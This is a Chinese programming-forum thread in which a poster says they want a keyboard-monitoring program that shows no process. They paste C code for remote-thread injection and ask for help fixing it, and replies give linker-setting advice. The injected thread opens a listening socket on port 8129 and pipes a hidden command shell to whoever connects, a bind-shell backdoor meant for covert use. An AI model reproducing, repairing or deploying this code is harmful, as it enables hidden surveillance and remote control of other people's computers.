我需要写一个键盘监控的程序,又不想出现进程,于是想到了远程线程注入的方式。
可是我从来没用过,只好在网上找资料,看看人家前辈的例子,可是这个例子有点儿问题,可以给修正一下吗??
谢谢,急呀~
代码如下:
(系统提示文章太长,只好在两个帖子里了,你也可以访问http://www.secu.sdu.edu.cn/remotethread.html察看)
#include<windows.h>
#include<winsock.h>//#include<winsock2.h>
#include"Shlwapi.h"
#include<tlhelp32.h>#pragma comment(lib,"Shlwapi.lib")//参数结构
typedef struct tag_RemotePara{ 
DWORD dwLoadLibrary;
DWORD dwFreeLibrary;
DWORD dwGetProcAddress;
DWORD dwGetModuleHandle;
DWORD dwWSAStartup;
DWORD dwSocket;
DWORD dwhtons;
DWORD dwbind;
DWORD dwlisten;
DWORD dwaccept;
DWORD dwsend;
DWORD dwrecv;
DWORD dwclosesocket;
DWORD dwCreateProcessA;
DWORD dwPeekNamedPipe;
DWORD dwWriteFile;
DWORD dwReadFile;
DWORD dwCloseHandle;
DWORD dwCreatePipe;
DWORD dwTerminateProcess;
DWORD dwMessageBox; char strMessageBox[12];
char winsockDll[16];
char cmd[10];
char Buff[4096];
char telnetmsg[60];
}RemotePara; // 提升应用级调试权限
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);
//根据进程名称得到进程ID
DWORD GetPidByName(char *szName);
//远程线程执行体
DWORD __stdcall ThreadProc(RemotePara *Para){
WSADATA WSAData;
SOCKET listenSocket, clientSocket;
struct sockaddr_in server_addr, client_addr;
int iAddrSize = sizeof(client_addr);
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;//读写管道技术
STARTUPINFO si;
PROCESS_INFORMATION ProcessInformation;
unsigned long lBytesRead = 0;

typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);
typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );
typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);

FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
FARPROC Pclosesocket;
FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PTerminateProcess;

PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary;
PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress;
PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwLoadLibrary;
PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle;

LoadLibraryFunc(Para->winsockDll);

PWSAStartup = (FARPROC)Para->dwWSAStartup;
PSocket = (FARPROC)Para->dwSocket;
Phtons = (FARPROC)Para->dwhtons;
Pbind = (FARPROC)Para->dwbind;
Plisten = (FARPROC)Para->dwlisten;
Paccept = (FARPROC)Para->dwaccept;
Psend = (FARPROC)Para->dwsend;
Precv = (FARPROC)Para->dwrecv;
Pclosesocket = (FARPROC)Para->dwclosesocket;
PCreateProcessA = (FARPROC)Para->dwCreateProcessA;
PPeekNamedPipe = (FARPROC)Para->dwPeekNamedPipe;
PWriteFile = (FARPROC)Para->dwWriteFile;
PReadFile = (FARPROC)Para->dwReadFile;
PCloseHandle = (FARPROC)Para->dwCloseHandle;
PCreatePipe = (FARPROC)Para->dwCreatePipe;
PTerminateProcess = (FARPROC)Para->dwTerminateProcess;

PMessageBoxA = (FARPROC)Para->dwMessageBox;

PWSAStartup((WORD)((1<<8)|1), (LPWSADATA)&WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(listenSocket == INVALID_SOCKET)return 0;

server_addr.sin_family = AF_INET;
server_addr.sin_port = Phtons((unsigned short)(8129));
server_addr.sin_addr.s_addr = INADDR_ANY;

if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;
if(Plisten(listenSocket, 5))return 0;
clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize);
// Psend(clientSocket, Para->telnetmsg, 60, 0);

if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0;
if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;

ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;

if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation))return 0;
while(1) {
memset(Para->Buff,0,4096);
PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead,0,0);
if(lBytesRead) {
if(!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0))break;
if(!Psend(clientSocket, Para->Buff, lBytesRead, 0))break;
}else {
lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0);
if(lBytesRead <=0 ) break;
if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;
}
}

PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
PCloseHandle(hWritePipe1);
Pclosesocket(listenSocket);
Pclosesocket(clientSocket);
// PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK);
return 0; 
}

解决方案 »

  1.   

    奇怪~第二个帖子怎么不显示呢~
    还是看看http://www.secu.sdu.edu.cn/remotethread.html吧~
    回复邮箱:
    [email protected]
      

  2.   

    收到了~。net写的呀~看看去,
    我的那个我已经修改得编译没有问题了,只是连接仍有问题。
    可以给看一下吗
    http://www.secu.sdu.edu.cn/remotethread.rar
      

  3.   

    我没有用托管的c++,所以用vc6还是vc7并没有本质的区别.
    相对而言,虽然最主要的思路是一样的,但你的方法在很多细节上会非常麻烦。建议你在我的基础上改.
      

  4.   

    连接器参数设错了,你使用了/SUBSYSTEM:CONSOLE,但程序中的入口函数却是WinMain,修改他们中的一个就能解决你的问题。但我还是建议你用我的方法,你的太麻烦,尤其是程序大了以后
      

  5.   

    Thanks~!
    我会好好向你学习的~